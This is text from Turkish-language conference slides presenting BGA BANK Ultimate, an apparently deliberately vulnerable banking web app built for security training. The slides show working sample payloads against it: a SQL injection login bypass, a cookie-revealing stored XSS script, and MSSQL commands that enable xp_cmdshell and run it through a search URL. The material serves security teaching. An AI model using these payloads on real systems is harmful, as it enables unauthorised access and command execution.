bga bank ultimate representation

BGA BANK UltimateİSTİSMAR EDİLEBİLİR ÇEVRİM İÇİ BANKACILIK UYGULAMASI HARUN TAMOKUR CÜNEYT BAYILMIŞFORD OTOMOTIV SAN. A.Ş.,KOCAELI, TÜRKİYE SAKARYA ÜNIVERSITESI, BILGISAYAR VE BILIŞIM BILIMLERI FAKÜLTESI HTAMOKUR@FORD.COM.TR BILGISAYAR MÜHENDISLIĞI BÖLÜMÜ,SAKARYA, TÜRKİYE

CBAYILMIS@SAKARYA.EDU.TR HUZEYFE ÖNAL

BGA BILGI GÜVENLIĞI LTD.İSTANBUL, TÜRKİYE

HUZEYFE.ONAL@BGA.COM.TR

Dünyadaki Atak Tiplerinin Dağılımı

Web Güvenliği Atak Tiplerinin Dağılımı

Ülkemizin Siber Saldırılarda Dünyadaki Yeri-2015

Yüzdelerden Çıkarılacak Sonuçlar

Giderek artmakta olan siber saldırı olaylarına müdahale anında ve kesin olmalı

Daha fazla güvenlik personeline ihtiyaç duyulmaktadır Bilgilendirme toplantıları ve eğitim ortamlarına ihtiyaç

duyulmaktadır Owasp WebGoat, Acunetix Test Pages, bWAPP, DVWA gibi

uygulamalara alternatif olarak gerçek senaryoları barındıran BGA BANK projesi geliştirilmiştir.

BGA BANK

BGA BANK istismar edilebilir bir bankacılık uygulamasıdır. Yurt dışı kaynaklı güvenlik firmalarının da benzeri istismar

edilebilir uygulamaları vardır. Projenin onlardan farklı ise gerçek bir bankacılık senaryosu

üzerine kurulmuş olmasıdır. Önceki BGA BANK sürümünde tek güvenlik seviyesi-Güvensiz Önceki BGA BANK sürümü PHP yazılım dilinde kodlanmıştı

BGA BANK Ultimate BGA BANK Ultimate 3 aşamalı güvenlik seviyesine sahiptir.

Güvensiz WAF-Web Uygulama Güvenlik Duvarı (Modsecurity) Güvenli

BGA BANK Ultimate ASP.Net platformunda C# yazılım diliyle geliştirilmiştir.

BGA BANK Ultimate TÜBİTAK 2209-B - Sanayi Odaklı Lisans Bitirme Tezi Destekleme Programı kapsamında desteklenmiştir.

Uygulamadaki Zayıflık Tipleri

Başlangıç Sayfası

Anasayfa – Haber Arama Menüsü

Başvuru Sayfası

Bireysel Giriş-Authentication Bypass

Müşteri Numarası :100001Şifre: ' or 1=1--

Kullanıcı Anasayfası

Müşteri Memnuniyeti-Stored XSS

Örnek payload(zararlı kod): "><script>document.write(document.cookie)</script>

Haber Arama Sayfası-SQL Injection Açıklığı

SQL Injection İstismarı

MSSQL Sunucusunda Klasöre Veri Yazmayı Aktifleştirme

EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'xp_cmdshell', 1 EXEC sp_configure reconfigure

Veri Yazdırma

www.bgabank.ultimate.com/g_arama.aspx?kelime=1"' exec xp_cmdshell 'echo veri yazdırılıyor >> c:/inetpub/yeni.txt';-

Hesap Özeti

IDOR-Güvensiz Doğrudan Nesne Referansı

Aynı sayfada farklı bir kullanıcının hesap bilgilerine ulaşılması

Sonuçlar

Yazılımcılar daha uygulamayı kodlama aşamasında açıklıklara karşı gerekli önlemlerini almalı.

Bu tür uygulamalar son kullanıcılar, yazılımcılar ve güvenlik araştırmacıları için tehlikeyi yerinde görmek amacıyla önem arz etmektedir.

Tehlikeli girdilere karşı gerekli önlemler hem yazılımcı hemde son kullanıcı tarafından alınmış olmalı.(Tarayıcı özellikleri vb.)

Kişiler bilgilendirilmeli ve bilgiler her zaman güncellenmelidir.

Dinlediğiniz İçin Teşekkürler

Harun Tamokur www.haruntamokur.com Twitter: @Haruntamokur Github: https://github.com/haruntmkr